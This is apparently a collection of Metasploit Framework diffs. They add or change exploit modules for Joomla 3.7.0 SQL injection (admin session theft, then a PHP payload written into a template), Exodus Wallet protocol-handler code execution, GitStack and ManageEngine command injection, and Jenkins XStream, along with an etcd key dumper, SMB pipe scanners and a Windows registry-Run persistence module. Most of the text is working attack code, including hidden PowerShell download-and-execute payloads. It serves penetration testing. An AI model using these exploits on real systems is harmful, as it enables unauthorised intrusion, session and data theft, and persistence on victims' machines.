print_error('Only library files can be reloaded after editing.')
end
end end
# #

View File

@ -0,0 +1,75 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Etcd Keys API Information Gathering',
'Description' => %q(
This module queries the etcd API to recursively retrieve all of the stored
key value pairs. Etcd by default does not utilize authentication.
),
'References' => [
['URL', 'https://elweb.co/the-security-footgun-in-etcd']
],
'Author' => [
'Giovanni Collazo <hello@gcollazo.com>', # discovery
'h00die' # msf module
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(2379),
OptString.new('TARGETURI', [true, 'URI of the vulnerable service', '/'])
]
)
end
def run_host(_target_host)
path = normalize_uri(target_uri.to_s, 'v2/keys/?recursive=true')
vprint_status("#{peer} - Collecting data through #{path}...")
res = send_request_raw(
'uri' => path,
'method' => 'GET'
)
# parse the json if we got a good request back
if res && res.code == 200
begin
response = res.get_json_document
store_loot('etcd.data', 'text/json', rhost, response, 'etcd.keys', 'etcd keys')
# since we know its vulnerable, go ahead and pull the version information
res = send_request_raw(
'uri' => normalize_uri(target_uri.to_s, 'version'),
'method' => 'GET'
)
banner = ''
if res && res.code == 200
banner = res.body
end
report_service(
host: rhost,
port: rport,
name: 'etcd',
proto: 'tcp',
info: banner
)
rescue JSON::ParserError => e
print_error("Failed to read JSON: #{e.class} - #{e.message}}")
return
end
print_good("#{peer}\nVersion: #{banner}\nData: #{JSON.pretty_generate(response)}")
end
end
end

View File

@ -8,6 +8,7 @@ class MetasploitModule < Msf::Auxiliary
# Exploit mixins should be called first # Exploit mixins should be called first
include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Remote::SMB::Client::PipeAuditor
# Scanner mixin should be near last # Scanner mixin should be near last
include Msf::Auxiliary::Scanner include Msf::Auxiliary::Scanner
@ -24,34 +25,6 @@ class MetasploitModule < Msf::Auxiliary
deregister_options('RPORT') deregister_options('RPORT')
end end
@@target_pipes = [
'netlogon',
'lsarpc',
'samr',
'browser',
'atsvc',
'DAV RPC SERVICE',
'epmapper',
'eventlog',
'InitShutdown',
'keysvc',
'lsass',
'LSM_API_service',
'ntsvcs',
'plugplay',
'protected_storage',
'router',
'SapiServerPipeS-1-5-5-0-70123',
'scerpc',
'srvsvc',
'tapsrv',
'trkwks',
'W32TIME_ALT',
'wkssvc',
'PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER',
'db2remotecmd'
]
# Fingerprint a single host # Fingerprint a single host
def run_host(ip) def run_host(ip)
@ -65,14 +38,8 @@ class MetasploitModule < Msf::Auxiliary
begin begin
connect() connect()
smb_login() smb_login()
@@target_pipes.each do |pipe| check_named_pipes.each do |pipe_name, _|
begin pass.push(pipe_name)
fid = smb_create("\\#{pipe}")
#print_status("Opened pipe \\#{pipe}")
pass.push(pipe)
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
#print_error("Could not open \\#{pipe}: Error 0x%.8x" % e.error_code)
end
end end
disconnect() disconnect()
@ -85,14 +52,14 @@ class MetasploitModule < Msf::Auxiliary
end end
if(pass.length > 0) if(pass.length > 0)
print_status("Pipes: #{pass.map{|c| "\\#{c}"}.join(", ")}") print_good("Pipes: #{pass.map{|c| "\\#{c}"}.join(", ")}")
# Add Report # Add Report
report_note( report_note(
:host => ip, :host => ip,
:proto => 'tcp', :proto => 'tcp',
:sname => 'smb', :sname => 'smb',
:port => rport, :port => rport,
:type => 'Pipes Founded', :type => 'Pipes Found',
:data => "Pipes: #{pass.map{|c| "\\#{c}"}.join(", ")}" :data => "Pipes: #{pass.map{|c| "\\#{c}"}.join(", ")}"
) )
end end

View File

@ -7,6 +7,7 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Remote::SMB::Client::PipeAuditor
include Msf::Auxiliary::Scanner include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
@ -51,8 +52,9 @@ class MetasploitModule < Msf::Auxiliary
register_options( register_options(
[ [
OptBool.new('CHECK_DOPU', [true, 'Check for DOUBLEPULSAR on vulnerable hosts', true]), OptBool.new('CHECK_DOPU', [false, 'Check for DOUBLEPULSAR on vulnerable hosts', true]),
OptBool.new('CHECK_ARCH', [true, 'Check for architecture on vulnerable hosts', true]) OptBool.new('CHECK_ARCH', [false, 'Check for architecture on vulnerable hosts', true]),
OptBool.new('CHECK_PIPE', [false, 'Check for named pipe on vulnerable hosts', false])
]) ])
end end
@ -113,6 +115,23 @@ class MetasploitModule < Msf::Auxiliary
) )
end end
end end
if datastore['CHECK_PIPE']
pipe_name, _ = check_named_pipes(return_first: true)
return unless pipe_name
print_good("Named pipe found: #{pipe_name}")
report_note(
host: ip,
port: rport,
proto: 'tcp',
sname: 'smb',
type: 'MS17-010 Named Pipe',
data: pipe_name
)
end
elsif status == "STATUS_ACCESS_DENIED" or status == "STATUS_INVALID_HANDLE" elsif status == "STATUS_ACCESS_DENIED" or status == "STATUS_INVALID_HANDLE"
# STATUS_ACCESS_DENIED (Windows 10) and STATUS_INVALID_HANDLE (others) # STATUS_ACCESS_DENIED (Windows 10) and STATUS_INVALID_HANDLE (others)
print_error("Host does NOT appear vulnerable.") print_error("Host does NOT appear vulnerable.")

View File

@ -18,7 +18,7 @@ class MetasploitModule < Msf::Auxiliary
}, },
'Author' => 'Andrew Morris <andrew[at]morris.guru>', 'Author' => 'Andrew Morris <andrew[at]morris.guru>',
'References' => [ 'References' => [
['URL', 'https://cultofthedyingsun.wordpress.com/2014/09/12/death-by-magick-number-fingerprinting-kippo-2014/'], ['URL', 'https://www.obscurechannel.com/x42/magicknumber.html'],
['URL', 'http://morris.guru/detecting-kippo-ssh-honeypots/'] ['URL', 'http://morris.guru/detecting-kippo-ssh-honeypots/']
], ],
'License' => MSF_LICENSE 'License' => MSF_LICENSE

View File

@ -695,7 +695,7 @@ class MetasploitModule < Msf::Auxiliary
end end
len = hdr.unpack('Cnn')[2] len = hdr.unpack('Cnn')[2]
data = get_data(len) data = get_data(len) unless len.nil?
unless data unless data
vprint_error("No SSL record contents received after #{response_timeout} seconds...") vprint_error("No SSL record contents received after #{response_timeout} seconds...")

View File

@ -43,6 +43,20 @@ class MetasploitModule < Msf::Exploit::Remote
'Platform' => 'python', 'Platform' => 'python',
'Arch' => ARCH_PYTHON 'Arch' => ARCH_PYTHON
], ],
['PowerShell (In-Memory)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
],
['Windows (CMD)',
'Platform' => 'win',
'Arch' => [ARCH_CMD],
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'adduser, generic'
}
}
],
['Linux (Dropper)', ['Linux (Dropper)',
'Platform' => 'linux', 'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64] 'Arch' => [ARCH_X86, ARCH_X64]
@ -57,6 +71,7 @@ class MetasploitModule < Msf::Exploit::Remote
register_options([ register_options([
OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']), OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']),
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', '']),
Opt::RPORT('8080') Opt::RPORT('8080')
]) ])
deregister_options('URIPATH') deregister_options('URIPATH')
@ -82,23 +97,29 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit def exploit
case target.name case target.name
when /Unix/, /Python/ when /Unix/, /Python/, /CMD/
execute_command(payload.encoded) execute_command(payload.encoded)
when /PowerShell/
execute_command(payload.encoded)
wait_for_session
else else
execute_cmdstager execute_cmdstager({:flavor => :certutil})
wait_for_session
end end
end end
# Exploit methods # Exploit methods
def execute_command(cmd, opts = {}) def execute_command(cmd, opts = {})
cmd = case target.name cmd = case target.name
when /Unix/, /Linux/ when /Unix/, /Linux/
%W{/bin/sh -c #{cmd}} %W{/bin/sh -c #{cmd}}
when /Python/ when /Python/
%W{python -c #{cmd}} %W{python -c #{cmd}}
when /Windows/ when /Windows/, /CMD/
%W{cmd.exe /c #{cmd}} %W{cmd.exe /c #{cmd}}
when /PowerShell/
psh_opts = { :remove_comspec => true, :wrap_double_quotes => true }
%W{cmd.exe /c #{cmd_psh_payload(cmd, payload_instance.arch.first, psh_opts)}}
end end
# Encode each command argument with XML entities # Encode each command argument with XML entities
@ -113,6 +134,20 @@ class MetasploitModule < Msf::Exploit::Remote
) )
end end
def wait_for_session
print_status "Waiting for exploit to complete..."
begin
Timeout.timeout(datastore['ListenerTimeout']) do
loop do
break if session_created?
Rex.sleep(0.25)
end
end
rescue ::Timeout::Error
fail_with(Failure::Unknown, "Timeout waiting for exploit to complete")
end
end
def xstream_payload(cmd) def xstream_payload(cmd)
<<EOF <<EOF
<map> <map>

View File

@ -0,0 +1,269 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Joomla
def initialize(info={})
super(update_info(info,
'Name' => 'Joomla Component Fields SQLi Remote Code Execution',
'Description' => %q{
This module exploits a SQL injection vulnerability in the com_fields
component, which was introduced to the core of Joomla in version 3.7.0.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mateus Lino', # Vulnerability discovery
'luisco100 <luisco100[at]gmail.com>' # Metasploit module
],
'References' =>
[
[ 'CVE', '2017-8917' ], # SQLi
[ 'EDB', '42033' ],
[ 'URL', 'https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html' ]
],
'Payload' =>
{
'DisableNops' => true,
# Arbitrary big number. The payload gets sent as POST data, so
# really it's unlimited
'Space' => 262144, # 256k
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Joomla 3.7.0', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'May 17 2017',
'DefaultTarget' => 0))
end
def check
# Request using a non-existing table
val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')
if val.nil?
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Vulnerable
end
end
def sqli(tableprefix, option)
# SQLi will grab Super User or Administrator sessions with a valid username and userid (else they are not logged in).
# The extra search for userid!=0 is because of our SQL data that's inserted in the session cookie history.
# This way we make sure that's excluded and we only get real Administrator or Super User sessions.
if option == 'check'
start = rand_text_alpha(5)
start_h = start.unpack('H*')[0]
fin = rand_text_alpha(5)
fin_h = fin.unpack('H*')[0]
sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID((IFNULL(CAST(TO_BASE64(table_name) AS CHAR),0x20)),1,22) FROM information_schema.tables order by update_time DESC LIMIT 1),0x#{fin_h}),4879))"
else
start = rand_text_alpha(3)
start_h = start.unpack('H*')[0]
fin = rand_text_alpha(3)
fin_h = fin.unpack('H*')[0]
sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID(session_id,1,42) FROM #{tableprefix}session where userid!=0 LIMIT 1),0x#{fin_h}),4879))"
end
# Retrieve cookies
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'option' => 'com_fields',
'view' => 'fields',
'layout'=> 'modal',
'list[fullordering]' => sql
}
})
if res && res.code == 500 && res.body =~ /#{start}(.*)#{fin}/
return $1
end
return nil
end
def exploit
# Request using a non-existing table first, to retrieve the table prefix
val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')
if val.nil?
fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix")
else
table_prefix = Base64.decode64(val)
table_prefix.sub! '_session', ''
print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]")
end
# Retrieve the admin session using our retrieved table prefix
val = sqli("#{table_prefix}_", 'exploit')
if val.nil?
fail_with(Failure::Unknown, "#{peer}: No logged-in Administrator or Super User user found!")
else
auth_cookie_part = val
print_status("#{peer} - Retrieved cookie [ #{auth_cookie_part} ]")
end
# Retrieve cookies
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php')
})
if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/
cookie_begin = $1
print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]")
else
fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie")
end
# Modify cookie to authenticated admin
auth_cookie = cookie_begin
auth_cookie << '='
auth_cookie << auth_cookie_part
auth_cookie << ';'
# Authenticated session
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),
'cookie' => auth_cookie
})
if res && res.code == 200 && res.body =~ /Control Panel -(.*?)- Administration/
print_good("#{peer} - Successfully authenticated")
else
fail_with(Failure::Unknown, "#{peer} - Session failure")
end
# Retrieve template view
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),
'cookie' => auth_cookie,
'vars_get' => {
'option' => 'com_templates',
'view' => 'templates'
}
})
# We try to retrieve and store the first template found
if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&amp;view=template&amp;id=([0-9]+)&amp;file=([a-zA-Z0-9=]+)/
template_id = $1
file_id = $2
form = res.body.split(/<form action=([^\>]+) method="post" name="adminForm" id="adminForm"\>(.*)<\/form>/mi)
input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
input_id = input_hidden[7].split("\"")
input_id = input_id[1]
else
fail_with(Failure::Unknown, "Unable to retrieve template")
end
filename = rand_text_alphanumeric(rand(10)+6)
# Create file
print_status("#{peer} - Creating file [ #{filename}.php ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),
'cookie' => auth_cookie,
'vars_get' => {
'option' => 'com_templates',
'task' => 'template.createFile',
'id' => template_id,
'file' => file_id,
},
'vars_post' => {
'type' => 'php',
'address' => '',
input_id => '1',
'name' => filename
}
})
# Grab token
if res && res.code == 303 && res.headers['Location']
location = res.headers['Location']
print_status("#{peer} - Following redirect to [ #{location} ]")
res = send_request_cgi(
'uri' => location,
'method' => 'GET',
'cookie' => auth_cookie
)
# Retrieving template token
if res && res.code == 200 && res.body =~ /&amp;([a-z0-9]+)=1\">/
token = $1
print_status("#{peer} - Token [ #{token} ] retrieved")
else
fail_with(Failure::Unknown, "#{peer} - Retrieving token failed")
end
if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/
template_path = $1
print_status("#{peer} - Template path [ #{template_path} ] retrieved")
else
fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path")
end
else
fail_with(Failure::Unknown, "#{peer} - Creating file failed")
end
filename_base64 = Rex::Text.encode_base64("/#{filename}.php")
# Inject payload data into file
print_status("#{peer} - Insert payload into file [ #{filename}.php ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),
'cookie' => auth_cookie,
'vars_get' => {
'option' => 'com_templates',
'view' => 'template',
'id' => template_id,
'file' => filename_base64,
},
'vars_post' => {
'jform[source]' => payload.encoded,
'task' => 'template.apply',
token => '1',
'jform[extension_id]' => template_id,
'jform[filename]' => "/#{filename}.php"
}
})
if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/
print_status("#{peer} - Payload data inserted into [ #{filename}.php ]")
else
fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]")
end
# Request payload
register_files_for_cleanup("#{filename}.php")
print_status("#{peer} - Executing payload")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"),
'cookie' => auth_cookie
})
end
end

View File

@ -0,0 +1,104 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::EXE
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Exodus Wallet (ElectronJS Framework) remote Code Execution',
'Description' => %q(
This module exploits a Remote Code Execution vulnerability in Exodus Wallet,
a vulnerability in the ElectronJS Framework protocol handler can be used to
get arbitrary command execution if the user clicks on a specially crafted URL.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Wflki', # Original exploit author
'Daniel Teixeira' # MSF module author
],
'DefaultOptions' =>
{
'SRVPORT' => '80',
'URIPATH' => '/',
},
'References' =>
[
[ 'EDB', '43899' ],
[ 'BID', '102796' ],
[ 'CVE', '2018-1000006' ],
],
'Platform' => 'win',
'Targets' =>
[
['PSH (Binary)', {
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 25 2018'
))
register_advanced_options(
[
OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]),
], self.class
)
end
def gen_psh(url)
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
download_and_run = "#{ignore_cert}#{download_string}"
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
end
def serve_payload(cli)
data = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
exec_in_place: true
)
print_status("Delivering Payload")
send_response_html(cli, data, 'Content-Type' => 'application/octet-stream')
end
def serve_page(cli)
psh = gen_psh("#{get_uri}payload")
psh_escaped = psh.gsub("\\","\\\\\\\\").gsub("'","\\\\'")
val = rand_text_alpha(5)
html = %Q|<html>
<!doctype html>
<script>
window.location = 'exodus://#{val}" --gpu-launcher="cmd.exe /k #{psh_escaped}" --#{val}='
</script>
</html>
|
send_response_html(cli, html)
end
def on_request_uri(cli, request)
case request.uri
when /payload$/
serve_payload(cli)
else
serve_page(cli)
end
end
end

View File

@ -0,0 +1,301 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'GitStack Unsanitized Argument RCE',
'Description' => %q{
This module exploits a remote code execution vulnerability that
exists in GitStack through v2.3.10, caused by an unsanitized argument
being passed to an exec function call. This module has been tested
on GitStack v2.3.10.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kacper Szurek', # Vulnerability discovery and PoC
'Jacob Robles' # Metasploit module
],
'References' =>
[
['CVE', '2018-5955'],
['EDB', '43777'],
['EDB', '44044'],
['URL', 'https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' => [['Automatic', {}]],
'Privileged' => true,
'DisclosureDate' => 'Jan 15 2018',
'DefaultTarget' => 0))
end
def check_web
begin
res = send_request_cgi({
'uri' => '/rest/settings/general/webinterface/',
'method' => 'GET'
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
if res.body =~ /true/
vprint_good('Web interface is enabled')
return true
else
vprint_error('Web interface is disabled')
return false
end
else
print_error('Unable to determine status of web interface')
return nil
end
end
def check_repos
begin
res = send_request_cgi({
'uri' => '/rest/repository/',
'method' => 'GET',
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
begin
mylist = res.get_json_document
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
return nil
end
if mylist.length == 0
vprint_error('No repositories found')
return false
else
vprint_good('Repositories found')
return mylist
end
else
print_error('Unable to determine available repositories')
return nil
end
end
def update_web(web)
data = {'enabled' => web}
begin
res = send_request_cgi({
'uri' => '/rest/settings/general/webinterface/',
'method' => 'PUT',
'data' => data.to_json
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
end
end
def create_repo
repo = Rex::Text.rand_text_alpha(5)
c_token = Rex::Text.rand_text_alpha(5)
begin
res = send_request_cgi({
'uri' => '/rest/repository/',
'method' => 'POST',
'cookie' => "csrftoken=#{c_token}",
'vars_post' => {
'name' => repo,
'csrfmiddlewaretoken' => c_token
}
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
return repo
else
print_status('Unable to create repository')
return nil
end
end
def delete_repo(repo)
begin
res = send_request_cgi({
'uri' => "/rest/repository/#{repo}/",
'method' => 'DELETE'
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
else
print_status('Failed to delete repository')
end
end
def create_user
user = Rex::Text.rand_text_alpha(5)
pass = user
begin
res = send_request_cgi({
'uri' => '/rest/user/',
'method' => 'POST',
'vars_post' => {
'username' => user,
'password' => pass
}
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("Created user: #{user}")
return user
else
print_error("Failed to create user")
return nil
end
end
def delete_user(user)
begin
res = send_request_cgi({
'uri' => "/rest/user/#{user}/",
'method' => 'DELETE'
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
else
print_status('Delete user unsuccessful')
end
end
def mod_user(repo, user, method)
begin
res = send_request_cgi({
'uri' => "/rest/repository/#{repo}/user/#{user}/",
'method' => method
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
else
print_status('Unable to add/remove user from repo')
end
end
def repo_users(repo)
begin
res = send_request_cgi({
'uri' => "/rest/repository/#{repo}/user/",
'method' => 'GET'
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
begin
users = res.get_json_document
users -= ['everyone']
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
users = nil
end
else
return nil
end
return users
end
def run_exploit(repo, user, cmd)
begin
res = send_request_cgi({
'uri' => '/web/index.php',
'method' => 'GET',
'authorization' => basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}"),
'vars_get' => {
'p' => "#{repo}.git",
'a' => 'summary'
}
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
end
def exploit
command = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ :remove_comspec => true, :encode_final_payload => true }
)
fail_with(Failure::PayloadFailed, "Payload exceeds space left in exec call") if command.length > 6110
web = check_web
repos = check_repos
if web.nil? || repos.nil?
return
end
unless web
update_web(!web)
# Wait for interface
sleep 8
end
if repos
pwn_repo = repos[0]['name']
else
pwn_repo = create_repo
end
r_users = repo_users(pwn_repo)
if r_users.present?
pwn_user = r_users[0]
run_exploit(pwn_repo, pwn_user, command)
else
pwn_user = create_user
if pwn_user
mod_user(pwn_repo, pwn_user, 'POST')
run_exploit(pwn_repo, pwn_user, command)
mod_user(pwn_repo, pwn_user, 'DELETE')
delete_user(pwn_user)
end
end
unless web
update_web(web)
end
unless repos
delete_repo(pwn_repo)
end
end
end

View File

@ -0,0 +1,102 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => "ManageEngine Applications Manager Remote Code Execution",
'Description' => %q(
This module exploits command injection vulnerability in the ManageEngine Application Manager product.
An unauthenticated user can execute a operating system command under the context of privileged user.
Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials
by accessing given system. This endpoint calls a several internal classes and then executes powershell script
without validating user supplied parameter when the given system is OfficeSharePointServer.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['CVE', '2018-7890'],
['BID', '103358'],
['URL', 'https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/'],
['URL', 'https://pitstop.manageengine.com/portal/community/topic/security-vulnerability-issues-fixed-upgrade-to-the-latest-version-of-applications-manager']
],
'DefaultOptions' =>
{
'WfsDelay' => 10,
'RPORT' => 9090
},
'Payload' =>
{
'BadChars' => "\x22"
},
'Platform' => ['win'],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Automatic', {}]],
'Privileged' => true,
'DisclosureDate' => 'Mar 7 2018',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the application', '/'])
]
)
end
def check
res = trigger_endpoint(Rex::Text.rand_text_alpha(3))
if res && res.body.include?('Kindly check the credentials and try again')
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') unless check == Exploit::CheckCode::Vulnerable
powershell_options = {
encode_final_payload: true,
remove_comspec: true
}
p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)
print_status('Triggering the vulnerability')
trigger_endpoint("$(#{p})")
end
def trigger_endpoint(username)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'testCredential.do'),
'vars_post' => {
'method' => 'testCredentialForConfMonitors',
'type' => 'OfficeSharePointServer',
'montype' => 'OfficeSharePointServer',
'isAgentEnabled' => 'NO',
'isAgentAssociated' => 'false',
'displayname' => Rex::Text.rand_text_alpha(rand(10..15)),
'HostName' => '127.0.0.1', # Try to access random IP address or domain may trigger SIEMs or DLP systems...
'Powershell' => 'True', # :-)
'CredSSP' => 'False',
'SPType' => 'SPServer',
'CredentialDetails' => 'nocm',
'Password' => Rex::Text.rand_text_alpha(3),
'UserName' => username
}
)
end
end

View File

@ -156,7 +156,8 @@ class MetasploitModule < Msf::Exploit::Local
def check def check
if sysinfo['Architecture'] == ARCH_X64 if sysinfo['Architecture'] == ARCH_X64
return Exploit::CheckCode::Detected vprint_error 'Running against 64-bit systems is not supported'
return CheckCode::Safe
end end
handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3) handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)

View File

@ -3,12 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework # Current source: https://github.com/rapid7/metasploit-framework
## ##
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/services'
class MetasploitModule < Msf::Post class MetasploitModule < Msf::Post
include Msf::Post::Common include Msf::Post::Common
include Msf::Post::File include Msf::Post::File
@ -34,10 +28,18 @@ class MetasploitModule < Msf::Post
register_options( register_options(
[ [
OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE']]), OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE']]),
OptPath.new('REXEPATH', [true, 'The remote executable to use.']), OptPath.new('REXEPATH', [true, 'The remote executable to upload and execute.']),
OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe']) OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe'])
], self.class ], self.class
) )
register_advanced_options(
[
OptString.new('LocalExePath', [false, 'The local exe path to run. Use temp directory as default. ']),
OptString.new('StartupName', [false, 'The name of service or registry. Random string as default.' ]),
OptString.new('ServiceDescription', [false, 'The description of service. Random string as default.' ])
])
end end
# Run Method for when run command is issued # Run Method for when run command is issued
@ -123,11 +125,12 @@ class MetasploitModule < Msf::Post
# Function to install payload in to the registry HKLM or HKCU # Function to install payload in to the registry HKLM or HKCU
#------------------------------------------------------------------------------- #-------------------------------------------------------------------------------
def write_to_reg(key, script_on_target) def write_to_reg(key, script_on_target)
nam = Rex::Text.rand_text_alpha(rand(8) + 8) nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(rand(8) + 8)
print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
if key if key
registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, "REG_SZ") registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, "REG_SZ")
